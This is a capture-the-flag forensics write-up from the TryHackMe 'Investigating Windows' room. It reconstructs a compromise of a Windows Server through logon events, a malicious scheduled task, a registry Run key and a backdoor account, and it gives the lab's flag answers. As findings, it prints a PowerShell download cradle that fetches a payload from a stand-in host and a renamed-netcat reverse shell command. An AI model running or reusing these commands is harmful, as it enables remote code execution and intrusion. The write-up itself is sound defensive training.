// MEDIUM · TRYHACKME · DIGITAL FORENSICS
INVESTIGATING WINDOWS
Post-compromise forensic investigation of a Windows machine — reconstructing the attacker's timeline through event logs, registry hives, scheduled tasks, and persistence mechanisms.
WindowsEvent LogsRegistryForensicsPersistenceDFIR
▸ 01 · Initial Triage
System Information Gathering
First step was baselining the system — OS version, last boot time, local users, and installed software to understand the environment before diving into logs.
systeminfo | findstr /B /C:"OS" /C:"Last Boot"
OS Name: Microsoft Windows Server 2016
Last Boot Time: 3/30/2019, 6:00:29 AM
net user
Administrator Guest Jenny John
# Unexpected users: Jenny — investigate further
▸ 02 · Event Log Analysis
Security Log — Failed & Successful Logons
Examined Security event logs for Event ID 4625 (failed logon) and 4624 (success). Found a burst of 4625 events from external IP preceding a successful 4624 — classic brute-force pattern.
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select -First 10
TimeCreated : 3/30/2019 4:13:07 AM
Message : An account failed to log on.
Account Name : Administrator
Source IP : 10.34.2.3 [84 failed attempts in 6 minutes]
EventID 4624 : Successful logon — Administrator — 04:14:22
Persistence via Scheduled Task
Discovered a malicious scheduled task named "GameOver" that ran a PowerShell download cradle on every logon to re-establish C2.
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Game*"}
TaskName : GameOver
Execute : powershell.exe -ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://bad.actor/payload.ps1')"
Trigger : AtLogon — User: SYSTEM
▸ 03 · Registry Investigation
Persistence & Autorun Keys
Checked standard autorun locations. Found a registry run key pointing to a renamed netcat binary masquerading as a Windows process.
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Update Service : C:\Users\Jenny\AppData\Local\Temp\svch0st.exe -e cmd 10.34.2.3 1337
# svch0st.exe is a renamed nc.exe (netcat)
Get-FileHash C:\Users\Jenny\AppData\Local\Temp\svch0st.exe
SHA256: b60d7c3e82fef91ca5c3b5fa9a5b0f...
# VirusTotal: 52/72 detections — Netcat 1.12
▸ 04 · Findings & Flags
🚩Flag — Attacker's Initial Access AccountJenny
🚩Flag — Date of compromise03/30/2019
🚩Flag — Malicious scheduled task nameGameOver
- Three persistence mechanisms found: Registry Run key, Scheduled Task, and a new backdoor local account (Jenny).
- Attacker dwell time: approximately 18 hours based on earliest 4625 events to latest 4648 (explicit logon).
- Remediation: Removed malicious scheduled task, deleted registry Run key, disabled Jenny account, and reset Administrator credentials.
